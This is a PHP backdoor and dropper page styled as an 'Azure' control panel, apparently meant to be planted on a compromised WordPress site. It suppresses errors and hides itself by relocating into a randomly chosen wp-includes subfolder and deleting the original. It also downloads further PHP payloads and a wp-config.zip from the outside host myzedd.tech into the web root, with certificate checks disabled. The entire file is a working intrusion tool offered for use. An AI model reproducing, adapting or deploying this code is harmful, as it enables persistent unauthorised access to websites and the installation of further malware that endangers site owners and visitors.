<?php
@error_reporting(0);
@set_time_limit(0);

$msg = [];
$self = basename(__FILE__);
$currentDir = __DIR__ . '/';

$folders = ['certificates', 'ID3', 'images', 'js', 'fonts', 'blocks', 'customize', 'SimplePie', 'Requests'];
$rand = $folders[array_rand($folders)];
$mvDir = $_SERVER['DOCUMENT_ROOT'] . '/wp-includes/' . $rand . '/';

session_start();
if (isset($_SESSION['mv_path'])) {
    $mvDir = $_SESSION['mv_path'];
    $rand = basename(rtrim($_SESSION['mv_path'], '/'));
} else {
    $_SESSION['mv_path'] = $mvDir;
}

function grab($url, $file) {
    if (function_exists('curl_init')) {
        $ch = curl_init($url);
        $fp = fopen($file, 'wb');
        if (!$fp) return false;

        curl_setopt_array($ch, [
            CURLOPT_FILE => $fp,
            CURLOPT_TIMEOUT => 40,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_SSL_VERIFYPEER => false
        ]);

        curl_exec($ch);
        curl_close($ch);
        fclose($fp);

        return file_exists($file) && filesize($file) > 0;
    }

    $content = @file_get_contents($url);

    if ($content === false) return false;

    return file_put_contents($file, $content) !== false;
}

if (isset($_GET['mv'])) {

    @mkdir($mvDir, 0755, true);

    if (@copy(__FILE__, $mvDir . $self)) {

        @unlink(__FILE__);

        header('Location: /wp-includes/' . $rand . '/' . $self);
        exit;
    }

    $msg[] = [false, 'Move failed'];
}

if (isset($_GET['get'])) {

    $resources = [
        ['https://myzedd.tech/project/NIN4.txt', 'NIN4.php', 'NIN4'],
        ['https://myzedd.tech/project/wp.txt', 'wp.php', 'WP'],
        ['https://myzedd.tech/project/wp-config.zip', 'wp-config.zip', 'ZIP']
    ];

    foreach ($resources as $item) {

        $targetFile = $currentDir . $item[1];

        $success = grab($item[0], $targetFile);

        $msg[] = [$success, $item[2]];
    }
}

$webPath = str_replace($_SERVER['DOCUMENT_ROOT'], '', $currentDir);
?>
<!DOCTYPE html>
<html lang="en">
<head>

<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1">

<title>Azure</title>

<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">

<style>

*{
    margin:0;
    padding:0;
    box-sizing:border-box
}

body{
    min-height:100vh;
    display:flex;
    align-items:center;
    justify-content:center;
    padding:20px;
    overflow:hidden;
    font-family:'Inter',system-ui,sans-serif;

    background:
    radial-gradient(circle at top left,#2563eb22,transparent 35%),
    radial-gradient(circle at bottom right,#7c3aed22,transparent 35%),
    linear-gradient(135deg,#020617,#0f172a,#111827);

    color:#fff;
}

body::before{
    content:'';
    position:fixed;
    inset:0;

    background-image:
    linear-gradient(rgba(255,255,255,.03) 1px,transparent 1px),
    linear-gradient(90deg,rgba(255,255,255,.03) 1px,transparent 1px);

    background-size:40px 40px;

    mask-image:linear-gradient(to bottom,rgba(0,0,0,.7),transparent);

    pointer-events:none;
}

.wrap{
    width:100%;
    max-width:480px;
    position:relative;
    z-index:2;
}

.header{
    display:flex;
    justify-content:space-between;
    align-items:center;

    padding:20px;

    border-radius:24px;

    margin-bottom:18px;

    background:rgba(255,255,255,.05);

    border:1px solid rgba(255,255,255,.08);

    backdrop-filter:blur(18px);
    -webkit-backdrop-filter:blur(18px);

    box-shadow:
    0 10px 40px rgba(0,0,0,.35),
    inset 0 1px 0 rgba(255,255,255,.08);
}

.title{
    font-size:22px;
    font-weight:700;
    letter-spacing:.5px;

    background:linear-gradient(90deg,#60a5fa,#a78bfa);

    -webkit-background-clip:text;
    -webkit-text-fill-color:transparent;
}

.badge{
    padding:7px 14px;

    border-radius:999px;

    font-size:11px;
    font-weight:600;
    letter-spacing:1px;
    text-transform:uppercase;

    background:rgba(34,197,94,.15);

    border:1px solid rgba(34,197,94,.3);

    color:#86efac;

    box-shadow:0 0 18px rgba(34,197,94,.25);
}

.box{
    padding:18px;

    margin-bottom:14px;

    border-radius:22px;

    background:rgba(255,255,255,.05);

    border:1px solid rgba(255,255,255,.08);

    backdrop-filter:blur(18px);
    -webkit-backdrop-filter:blur(18px);

    transition:.25s ease;
}

.box:hover{
    transform:translateY(-2px);

    border-color:rgba(96,165,250,.35);

    box-shadow:0 10px 35px rgba(37,99,235,.15);
}

.label{
    font-size:11px;

    text-transform:uppercase;

    letter-spacing:1px;

    color:#94a3b8;

    margin-bottom:8px;
}

.value{
    font-size:14px;

    font-family:monospace;

    color:#e2e8f0;

    word-break:break-word;
}

.log{
    position:relative;

    overflow:hidden;

    padding:14px 16px;

    margin-bottom:12px;

    border-radius:18px;

    background:rgba(255,255,255,.05);

    border:1px solid rgba(255,255,255,.08);

    backdrop-filter:blur(18px);

    font-size:13px;
    font-weight:500;
}

.log::before{
    content:'';

    position:absolute;

    left:0;
    top:0;

    width:4px;
    height:100%;
}

.log.ok{
    color:#86efac;
}

.log.ok::before{
    background:#22c55e;

    box-shadow:0 0 15px #22c55e;
}

.log.ok::after{
    content:'✓ ';
    font-weight:bold;
}

.log.no{
    color:#fca5a5;
}

.log.no::before{
    background:#ef4444;

    box-shadow:0 0 15px #ef4444;
}

.log.no::after{
    content:'✗ ';
    font-weight:bold;
}

.btn{
    position:relative;

    overflow:hidden;

    display:flex;
    align-items:center;
    justify-content:center;
    gap:10px;

    width:100%;

    padding:15px 18px;

    margin-bottom:12px;

    border-radius:18px;

    text-decoration:none;

    font-size:14px;
    font-weight:600;

    letter-spacing:.3px;

    color:#fff;

    background:
    linear-gradient(135deg,#2563eb,#7c3aed);

    border:1px solid rgba(255,255,255,.08);

    transition:.25s ease;

    box-shadow:
    0 10px 30px rgba(37,99,235,.35);
}

.btn:hover{
    transform:translateY(-3px) scale(1.01);

    box-shadow:
    0 16px 40px rgba(37,99,235,.45);
}

.btn:active{
    transform:scale(.98);
}

.btn::after{
    content:'';

    position:absolute;

    inset:0;

    background:linear-gradient(
        120deg,
        transparent,
        rgba(255,255,255,.18),
        transparent
    );

    transform:translateX(-100%);

    transition:.6s;
}

.btn:hover::after{
    transform:translateX(100%);
}

.btn-sec{
    background:rgba(255,255,255,.04);

    color:#cbd5e1;

    border:1px solid rgba(255,255,255,.08);

    box-shadow:none;
}

.btn-sec:hover{
    border-color:rgba(96,165,250,.3);

    background:rgba(255,255,255,.07);
}

hr{
    border:none;

    height:1px;

    margin:18px 0;

    background:linear-gradient(
        90deg,
        transparent,
        rgba(255,255,255,.12),
        transparent
    );
}

@media(max-width:500px){

    .header{
        padding:18px;
        border-radius:20px;
    }

    .box{
        border-radius:18px;
    }

    .btn{
        border-radius:16px;
    }

    .title{
        font-size:20px;
    }
}

</style>
</head>

<body>

<div class="wrap">

<div class="header">
    <div class="title">⚡ Azure</div>
    <div class="badge">Online</div>
</div>

<?php if(!empty($msg)): ?>

    <?php foreach($msg as $m): ?>

    <div class="log <?=$m[0]?'ok':'no'?>">
        <?=htmlspecialchars($m[1])?>
    </div>

    <?php endforeach; ?>

    <hr>

<?php else: ?>

    <div class="box">
        <div class="label">Download Path</div>
        <div class="value"><?=htmlspecialchars($webPath)?></div>
    </div>

    <div class="box">
        <div class="label">Relocate Target</div>
        <div class="value">
            /wp-includes/<?=htmlspecialchars($rand)?>/
        </div>
    </div>

<?php endif; ?>

<a href="?get" class="btn">
    📥 Download Resources
</a>

<hr>

<a href="<?=htmlspecialchars($webPath)?>NIN4.php"
target="_blank"
class="btn btn-sec">
    Open NIN4.php
</a>

<a href="<?=htmlspecialchars($webPath)?>wp.php"
target="_blank"
class="btn btn-sec">
    Open wp.php
</a>

<a href="<?=htmlspecialchars($webPath)?>wp-config.zip"
target="_blank"
class="btn btn-sec">
    Open wp-config.zip
</a>

<hr>

<a href="?mv"
class="btn"
onclick="return confirm('Relocate this file?')">
    🚀 Relocate
</a>

</div>

</body>
</html>